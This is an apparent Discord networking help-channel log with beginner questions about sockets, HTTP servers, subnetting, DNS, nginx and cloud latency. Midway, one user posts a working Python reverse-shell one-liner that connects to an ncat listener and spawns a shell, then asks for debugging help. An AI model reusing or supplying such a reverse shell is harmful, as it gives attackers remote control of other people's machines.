Hey guys, I have a POST call that I'm testing in Imsonia, anyone knows how I could do the same with the requests package?

The log of imsonia is:

| --X-INSOMNIA-BOUNDARY
| Content-Disposition: form-data; name="action"
| yop_poll_record_vote
| --X-INSOMNIA-BOUNDARY
| Content-Disposition: form-data; name="_token"
| 46605358f8
| --X-INSOMNIA-BOUNDARY
| Content-Disposition: form-data; name="data"
| Content-Type: application/json
| {
|    "pageId":"2",
|    "reCaptcha":"...",
|    "trackingId":"",
|    "gdprConsent":"",
|    "data":[
|       {
|          "id":"5",
|          "type":"option",
|          "data":[
|             {
|                "id":"3",
|                "data":true
|             }
|          ]
|       }
|    ],
|    "user":{
|       "id":"",
|       "first_name":"",
|       "last_name":"",
|       "email":"",
|       "type":"anonymous",
|       "f_data":""
|    }
| }
| --X-INSOMNIA-BOUNDARY--
#

But if I put those data action, *_token * and *data * in as a map in data or json it doesn't work, anyone have a tip about that?

ruby eagle
outer jetty
#

hello, i ran the command python3 -m http.server with a simple html file in the same directory. using my laptop I can access it using the ip of my laptop but I cannot from my phone despite they are on the same network...?

prisma cobalt
#

if its not using port 80, did you manually set the port on the phone

white lantern
#

defaults to port 8080, so you'd need something like 192.168.1.1:8080, assuming 192.168.1.1 is local ip for the laptop

ember ledge
#

Yo yo, anyone here?

#

Quick question

#

Nevermind

#

socket.settimeout()

outer jetty
prisma cobalt
#

?

#

ah, it might be the URL

#

what was the URL?

outer jetty
#

192.168.122.1:8080

#

i should note I am on my universities wifi

#

so...

prisma cobalt
#

hmm, and your sure that your phone is on the same network?

#

ah

outer jetty
#

they are connected to the same wifi

#

but idk if they split it up or something

prisma cobalt
outer jetty
#

idk how that stuff works

#

oh

prisma cobalt
outer jetty
#

lame

#

so as example, they might redirect all laptops to one and phones to another

#

hence why i am unable to connect?

prisma cobalt
#

universities have lots of students which have lots of devices, as such they need to allocate large amounts of IP addresses. They can do this by subnetting

#

find the ip address of your phone if you can, it should be in settings

#

192.168.122.1:8080
i bet the part in bold is different

outer jetty
#

where in settings?

#

nvm

#

thats so lame

prisma cobalt
#

wifi or network settings

#

lmao

#

yeah

outer jetty
#

its not even close

#

its like

#

hold on

#

i think i found my public ip..?

prisma cobalt
#

hmm, in your phone settings 🤔 ?

outer jetty
#

it is like 138.x.x.x

prisma cobalt
#

yeah that looks public

#

weird, where did you find it?

#

if its in your phone settings then thats odd but not unheard of

outer jetty
#

on android 10

#

i went to

#

settings > connections > Wi-Fi > settings button on name of wifi > under headder: IP address

prisma cobalt
#

usually that displays your local ip

outer jetty
#

hmmmm

#

can i use termux to find it with ip a

#

?

#

lol

#

it doesnt give me my local

#

ig i dont have one

#

imma call it

#

lol they were very untrained for that one

ember ledge
#

im running some code to make a connection back to a listener however i get the connection twice and the get the error OSError: [Errno 9] Bad file descriptor the listener output Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 192.168.1.218. Ncat: Connection from 192.168.1.218:1477. code import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.83",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh") any ideas

hoary sorrel
#

!rule 6 9 - we don't allow recruiting for paid work here.

errant bayBOT
#

6. Do not post unapproved advertising.

9. Do not offer or ask for paid work of any kind.

ember ledge
#

hahah 6 and 9

#

a coincidence i think not

ember ledge
prisma cobalt
ember ledge
prisma cobalt
#

does ; count as one line?

ember ledge
#

Well it's one line of code so maybe not a true one liner

ember ledge
#

hello guys i don't know if anyone here has an experience with 802.1x encryption

tender violet
#

has anyone have experienced with ubuntu linux?

crystal current
#

Don't ask to ask, just ask

halcyon hull
#

Lmao

covert rover
#

i cant share links so put it in google and read it

tender violet
#

I already finished it

ember ledge
#

Has anyone used SMTP ?
I need help setting up my gmail account to access smtp service

crystal current
ember ledge
acoustic bison
#

Hello everyone. Is there anyone here who works within the healthcare industry? I have taken up a project in NLP in the industry, and I was wondering if there are any discussions concerning patients' privacy in machine learning.

spice zodiac
#

anyone need help with cors i gitchy

inner canopy
#

Aren't iterative queries direct, from the client to the DNS server? (this image is from cloudflare about DNS lookup) Why are the requests from the resolver considered iterative, is the resolve considered the client?

ocean bay
ember ledge
#

i am making a chatbox and i have a problems with socketd

#

OSError: [WinError 10048] Normally only one use of each socket address (protocol/network address/port) is allowed

ember ledge
#

@minor fjordwork

prisma cobalt
#

poor NET

#

did you know that by simply googling the error, you get some answers :)

#

but ill explain anyway

#

either there exists a process thats already using a server socket on the port you want to use
or
your script is trying to bind 2 server sockets to the same address and port

#

@ember ledge

ember ledge
#

@prisma cobalt

#

so i need to change ip

#

in one

#

?

prisma cobalt
#

show me your code

ember ledge
#

kk

#

dms

#

!pastebin

errant bayBOT
#

Pasting large amounts of code

If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

prisma cobalt
prisma cobalt
#

ah i see the issue

ember ledge
#

yeah?

prisma cobalt
#

server.py

server = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
server.bind((HOST , PORT) )

client.py

server = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
server.bind((HOST , PORT) )

the client should not bind to an address, instead, it should connect to an address

ember ledge
#

:huh

prisma cobalt
#

the client also doesnt need to .listen()

#

thats only for the server

ember ledge
#

done

#

listen removed

#

now what

#

copy paste what u sent

#

?

prisma cobalt
#

no, dont copy/paste without understanding 😫

ember ledge
#

ok sorry

#

so

prisma cobalt
#

what i sent was your code

ember ledge
#

whats the issue

#

oh ok

#

so what do i need to fix

#

😢

#

removed .listen

#

what else

prisma cobalt
#

the client should use socket.connect((HOST, PORT))

#

not .bind()

ember ledge
#

only server

#

or

#

client

#

client = bind

#

server = connect

#

right

prisma cobalt
#

server: socket.bind((HOST, PORT))
client: socket.connect((HOST, PORT))

prisma cobalt
ember ledge
#

Huh

#

i did something terrible

prisma cobalt
#

?

ember ledge
#

so

#

wait

#

do u mean

#

server = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
server.bind((HOST , PORT) )

#

like this

prisma cobalt
#

yes

#

thats good

ember ledge
#

server = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
server.connect((HOST , PORT) )

#

for client

prisma cobalt
#

yes!

ember ledge
#

ok

#

now

#

what about the adress

prisma cobalt
#

then one last thing

#

yeah

ember ledge
#

i dont get whats wrong

#

😭

#

🙏 thanks for helping me master

prisma cobalt
#

the server should use the address: "0.0.0.0"
the client should use the ip address (like how it does now anyway)

ember ledge
#

ok

#

but

#

PORT?

#

1234 is fine?

#

cause this is a chatbox and i would like everyoen to localhost

#

not host by my pc

#

yk

#

@prisma cobalt

#

🙏

prisma cobalt
ember ledge
#

the thing i am coding

#

its a chatbox

#

i want it to host on their ip

#

not mine

#

when they connect does it connect on their ip?

prisma cobalt
#

only one person needs to host (the server). everyone else is a client

ember ledge
#

ok

#

but

#

it doesnt work

#

😭

#

i dont get

#

why its not running

prisma cobalt
#

do you know how functions work

ember ledge
#

on cmd what do i type

ember ledge
#

idk

#

😭

prisma cobalt
#

i would reccomend learning the basics of python before doing this kind of thing, relatively, its very complex

ember ledge
#

ok but it took me 4 hours

#

and stilll cant fix

#

pls

prisma cobalt
#

because you dont know how to fix it yeah

ember ledge
#

yeah

#

but

#

i saved

#

idk what to run

#

on cmd

#

tell me

prisma cobalt
#

what operating system are you running? if its windows then you can do: python server.py

ember ledge
#

yeah

#

it doesnt work

prisma cobalt
ember ledge
#

idk how to do that

#

will it take a lot

prisma cobalt
#

it takes a single line of code

ember ledge
#

i need this chatbox my friend wanted it for his bday

#

so we can play amongus

#

while chatting

#

on that

prisma cobalt
#

cant you use discord for that lol

ember ledge
#

yeah

#

but

#

he wanted custopm

#

xd

#

and his parents dont let him

ember ledge
prisma cobalt
#

i cant help you very much because you dont know python. working with sockets is something you should do after learning at least the basics

ember ledge
#

but tell me the function line

#

PLS

#

i beg u

#

i cant throw away 4 hours

#

like that

prisma cobalt
ember ledge
#

fun fact

prisma cobalt
#

but it wont help you much because your entire client script wont work how you intend

ember ledge
#

its already there

#

lol

prisma cobalt
ember ledge
#

it is

#

xd

#

so what do i do

#

if i throwed away my day for this im kinda sad

#

i am 13

#

i did all my homework and had to prepare my bag and shit before coding

#

but

#

all the time i had

#

i wastd it

#

while i coudlve

#

learnt

#

python

prisma cobalt
ember ledge
#

basics

#

and

#

its

#

my fault

prisma cobalt
#

not all, just that line

ember ledge
#

which line

prisma cobalt
#

the last line, the receive()

ember ledge
#

where do i put it

prisma cobalt
#
def receive():
    while True:
        client, adress = server.accept()
        print (f"Connected with {str (adress)}!")

        client.send ("NICK".encode('utf-8'))
        nickname = client.recv(1024)
        
        nicknames.append(nickname)
        clients.append (client)
        
        print(f"Nickname of the client is {nickname }")
        broadcast(f"{nickname} joined the chat \n" .encode('utf-8'))
        client.send ("Connected to the server".encode ('utf-8'))

        thread = threading.Thread(target = handle , args= (client,))
        thread.start()

        print(f"Server Running...")
receive()
ember ledge
#

at the start

#

ok

#

copied

prisma cobalt
#

:/

ember ledge
#

didnt fix

#

😭

#

it only works under print

prisma cobalt
#

what python version are you running, modern ones require you to pass an integer into server.listen()

ember ledge
#

how to check

prisma cobalt
#

run python --version in cmd

ember ledge
#

idk how to check on vs but on cmd its

#

10

#

3.10.6

prisma cobalt
#

good

ember ledge
#

lemme check again

#

yeah

#

it is

#

now what

prisma cobalt
#

are you getting an error?

ember ledge
#

ye

prisma cobalt
#

what error

ember ledge
#

wait

#

nvm

#

it works

#

bruh

#

i am so bad

#

but

prisma cobalt
#

what is HOST and PORT?

#

what are the values

ember ledge
#

SHIT BRO

#

I AM SO TRASH

#

i added after port

#

lemme check

#

if works

#

nah

#

i type

#

@prisma cobalt

#

nothing happens

#

theres no errors

#

running problems

#

only

prisma cobalt
#

thats because you need to call your function by deindenting the receive()

ember ledge
#

wdym

ember ledge
#

i did

#

on both client

#

and

#

server

prisma cobalt
#

send the new server code again

ember ledge
#

k

#

!pastebin

errant bayBOT
#

Pasting large amounts of code

If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

ember ledge
#

@prisma cobalt

#

@prisma cobalt

ember ledge
#

more to left

prisma cobalt
#

yes

ember ledge
#

it shows as error

prisma cobalt
#

what error

ember ledge
#

problem

#

as problem

prisma cobalt
#

show me

ember ledge
#

wait

#

fixed

#

kk

#

now should it work

prisma cobalt
#

well... sure

#

the server should work

#

the client wont

ember ledge
#

it doesnt

#

lol

prisma cobalt
#

what doesnt work

ember ledge
#

it doesnt run

prisma cobalt
#

?

#

what do you mean

ember ledge
#

error

#

translated : OSError: [WinError 10048] Normally only one use of each socket address (protocol/network address/port) is allowed

#

wait should the port be on client and server

#

or only server

#

or only client

prisma cobalt
#

both

ember ledge
#

oh ok

#

so whats the problem

prisma cobalt
#

run the server only, not the client

ember ledge
#

thats what i did

#

read

#

server.bind = incorrect

prisma cobalt
#

something else is running on that port then

#

trying changing the port number

#

to 13346 or something

#

i have to go

#

i recommend you learn python before doing this

ember ledge
#

@prisma cobalt

#

?membercount

#

!membercount

#

!member

errant bayBOT
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

ember ledge
#

Hello , I'm a beginner in python, what means socket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) ? IP headers are automatically set by linux kernel ?

fossil wing
#

Can someone please help me with a sockets issue in #help-corn.

rugged sluice
rustic obsidian
hybrid gorge
#

can someone explain what the difference between an access point and a repeater is?

proven void
#

i have 4 threads which subscribe to 4 different mqtt topics. after some hours the processes dont get updated anymore, anyone has an idea?
the gui is still working but getting no updates

#

i have the subscribe in the on_connect

chrome cape
#

Anyone object to me posting a random question here about how a ping can work in unexpected ways?

ember ledge
#

ok

vital prairie
#

Hey Guys I Want To Learn Sockets module in python So What Should I Do To Learn It

#

And I Don`t Know Any thing About Networking

prisma cobalt
#

check the last two pins on this channel, theres some good resources

tepid rover
#

hi

#

please suggest me some final year project

#

on networking

prisma cobalt
#

🤔

#

isnt that for you to decide, which bits of networking are you interested in?

bitter heart
#

hi

#

i have an idea about a script that checks the network if there are devices run the same script like the apple move connection of airpods between iphone, mac, ipad is there any way to do it?

meager monolith
#

Write a TCP server that provides the following functionality: 1. Be able to communicate over TCP with a client such nc(netcat), telnet, or a custom TCP client.

#

Any ideas how to do it?

ocean bay
meager monolith
#

No this was a interview question

ocean bay
#

Ah cool, if you dont mind was it for a networking job or devops?

thorny hornet
#

what layer contains the header for the protocol that the packet is in (ARP or IPv4)

tall meteor
#

Hello,
I've been trying to add subdomain functionality to my web api. I've managed to make the site work when no subdomain is used. However I get an error returned when a subdomian is used.

Basic setup of the site:
Client -> Cloudflare -> Nginx server -> Waitress -> Flask

I've added a wildcard A record on CloudFlare.
Here is a flask endpoint I made with subdomains:

import flask
from waitress import serve
app = flask.Flask(__name__)
app.config["SERVER_NAME"] = "localhost:5000"

@app.route("/v1", subdomain="<site>", methods=["GET"])
def sub_api(site):
    "Args: headers={token} | Returns gateway's response"
     return "Test", 200

serve(app, host="localhost", port=5000, url_scheme='https')

Here is my nginx config (which I think is the problem):

#

I tried adding a nginx wildcard for subdomains as shown in the server block above. However I get this returned in the nginx error log file and a bad gateway error when getting: https://www.groups.redacted.co.uk/v1

No resolver defined to resolve groups.localhost, server: ~^(?<subdomain>[^.]+).redacted.co.uk$, request: "GET /v1 HTTP/1.1", host: "groups.redacted.co.uk", referrer: "https://groups.redacted.co.uk/v1"
#

Any help you guys could give to help me resolve this problem would be amazing.

prisma cobalt
zealous flint
#

Either that or 2nd but I’m not fully sure

#

ARP operates in 2nd

#

Actually hmm

#

ARP maps MACs to IPs, right? I guess then it could fall under both 2nd and 3rd

zealous wigeon
#

Hey guys, can someone clarify a thing or two about Flask for me? I need to create small HTTP server, serving only one endpoint, but the catch is that i need to handle client requests concurrently, and this endpoint needs to return request within the timeout that users specifies in the request. I know that it's not good to handle concurrency in the http handlers itself, and usually people will use something like Flask - Redis - Celery app. My question is: if users sets the timeout to be something like 500ms, won't redis + celery bottleneck this process? Should I just do it in the flask server itself, or delegate it?

prisma cobalt
#

the initial ARP request would operate on layer 3 since its trying to figure out the targets mac address via the IP of the target

pine light
#

If I have two threads that are sending data to the same socket, will the bits streams "overlap" and get corrupted?

eternal goblet
#

Where would I start looking for information about setting up a small business network. Do I need any hardware? How do employees connect to the network? Via VPN or other means (most will be remote working)? Does each employee need any software to connect to the network?

crystal current
#

A lot of small businesses will hire a local MSP to set up and manage their network. This does come with cost but a good MSP is worth the cost if you're requirements are beyond what you can manage well internally

#

You might not need a VPN if public cloud-based solutions are cheaper. My company has over 20 employees and no network. Just Google Drive and things like that

eternal goblet
#

Thanks for the info. I've asked my boss to possibly consider a contractor to which he didn't want to, to save on costs. They'd rather me, who has no experience in this area, do it for them, hence the questions. We have around 10-15 employees currently and like you, we also use GDrive and other services which has been fine. I think they are more worried about cybersecurity though with the data we have and will obtain in the future.

#

I'll have a look into some MSPs and see if they will decide on that instead

crystal current
#

Good luck 🙂

stoic nebula
#

Is this the best/right place to ask about webscraping?

zealous flint
#

Sorry, had to follow you in here. this channel doesn't seem like the best place for it lol

stoic nebula
#

Oh no worries! I'm always happy to see you around. You've been incredibly helpful!

opal birch
#

Howdy, i have a questions about the socket library, How can I make my sockets from the server public for everyone? I mean, how can I connect to my socket server using another device? Can I put a name for my socket server (For example: example-socket.io)?

quasi wraith
#

I want to build a packet based network intrusion/anomaly detection software that detects any anomalous activity on the network and issues the alert for the same....like I want to make it practical and work on actual network instead of provided data sets...I posted this in #cybersecurity but since it is more of a networking project so I am putting it here as well...if anyone has worked on any IDS related stuff then please let me know I need some guidance

woeful oak
#

hey guys, i'm encountering this error, can anybody point me in a direction i should look?

prisma cobalt
ember ledge
#

A little question that requires a lot of explanation:
How to make a pop-up screen appear when someone visited a certain Wiki-page 2 times? (for school based purposes) with some text?
And can this be achieved with Python or are other languages better?

nimble maple
#

@ember ledge , you'd want to probably do a cookie mechanism?

ember ledge
nimble maple
#

I'm not following.

How to make a pop-up screen appear when someone visited a certain Wiki-page 2 times

Something has to know the state, and it makes the most sense for the client to remember this since it's going to be harder to accurately fingerprint devices without a login. Then within the site, use javascript to look at cookies and act on them?

barren apex
#

a subnetted network with ip 192.168.0.1/27 has 8 subnets. the subnet mask will be common to all subnets (255.255.255.224) but subnet id/network id will be different for each subnet? Am i correct or is there something else?

zealous flint
#

I haven't heard of a network and subnet ID unless those are just the network IP and subnet mask, respectively

zealous flint
ember ledge
#

I am working on a project in which i use requests to get a json response, the response contains 5 properties, i want to print a value of 1 property

ember ledge
#

I am not able to figure out how to print a value of a key

cunning garden
#

from there, you can check the presence and value of said property

ember ledge
#

So r= requests.get(url).json()

#

Then r['key']

ember ledge
#

Oh tq

cunning garden
#

t

ember ledge
#

Tq

ember ledge
#

I saw the pinned messages, but yeah I couldnt find an independent resource to understand some basic concepts in computer networking (separate from python)
For example what sending a request does, the differences between localhosting and public hosting(?), how public domains work, what FTP is etc.
Things that people seem to know before actually using python with it

#

I'm really bad at networking and I'd like to know the absolute basics before I get to actually doing something with python for it

#

And I mean really bad

#

I can do basic front end, and I'd say I'm objectively competent with using Python itself

#

I've used sockets a while back but.. those were really questionable attempts (plus I didnt know what I was doing)

rapid remnant
#

how does latency become an issue when data centers are in cloud?
doesn't the data needed for users directly transmit from data center to users?
does it always travel from data center to org and then to user or directly?
Having a server far away from its user requires the information and data to travel longer distances leading to higher latency
im unable to understand this statement.
if this itself is a problem, will being in an onpremise data center not be a problem? Cos when users are spread out we have the ability to buy servers at diff locations and thus decrease latency...whilst an on premise data center is difficult as we need to develop a new one and even maintain it...(These come as a result of my understanding that the data from data centers travel directly to users)
correct me if I'm understanding things wrong
ping me on reply

gloomy root
#

If your data center is in the USA and your users are in the UK for example

#

It's got to travel half way around the world in order to get to the user who requested the data

#

(this is a simplification because TCP and things doing lots of round trips)

#

The solution a lot of companies employee where latency matters is you have systems distributed across several data centers in several locations. And direct the user's requests to what ever data center is geographically closer to them. Which in turn, results in lower latency.

#

This is basically the entire reason why people use things like CDNs and the 'edge' networks, which are basically what I just described above.

rapid remnant
#

I thgt it would travel form data center to org and then to user.... and thats the reason latency was low when we considered the case of on-premise data center

gloomy root
#

Probably the simplest way to think about it, in reality it there's other parts to the puzzle but they all have the same affect

#

I mean I don't understand what you mean by org btw

rapid remnant
#

ok lemme give an example

#

lets say i have ABC company in German, cloud data storage in USA and user from UK

#

consider this scenario

#

org here is organization (ABC company)

gloomy root
#

If the org is running their own services in Germany, let's say a website backend. But their database is hosted in the cloud in the US, if a user goes and requests the site. Then yes it will basically go:

User <-> Website backend (Germany) <-> Database (USA)

rapid remnant
#

Im considereing the processing happens in the organisation after it fetches data from that clound and sends a http response containing the dynamic web page

rapid remnant
gloomy root
#

But on premises realistically isn't always faster, it can certainly be slower in fact.

The general rule is closer is to the end user is better. But your network has to be able to support it and often on prem requires a bunch of additional infrastructure that most companies don't want to deal with

#

It's also often more expensive than just going 'well we might as well just use AWS and have it in the London region'

rapid remnant
#

so if the services are also in cloud then the response directly goes from cloud to user

gloomy root
#

My internet is breaking up as well, nice

#

If nothing else is acting as a middle man then yes

rapid remnant
#

then edge computing would result in over head right? cos we need to have the copy of data in all servers and also the services?

gloomy root
#

If your website is hosted in the US, and the user requests the site, it'll be going to the US, it won't be making a stop off at Germany just because your company happens to be registered there 😅

#

At least that's all you really need to think of it as

gloomy root
#

But yes, distributed data and replication has overheads

rapid remnant
#

oh yea it has the benefit that when system goes down it could go for next nearest server

#

Thanks for this

#

I was actually looking at edge computing and thats when I got this doubt

#

And to my surprise you answered a part of my answer in the beginning itself

#

without even me mentioning about edge computing

#

Thanks @gloomy root

#

@gloomy root ahhh got another doubt now,
-> when we have the ability to set up servers in cloud of our choice why is there a latency issue?
-> also latency is lesser in cloud as compared to that of on premise right?

glossy harbor
#

Hey I want to send a UDP message from a SPS and convert that into a CAN message anybody can help me or give m a Idea how to realize it?

compact solar
#

anyone have experinece with the cisco CLI

#

i need just a tiny bit of help understanding an issue, im certain i have my configurations correct but my test pings keep failing

zealous flint
compact solar
#

Sorry I got it resolved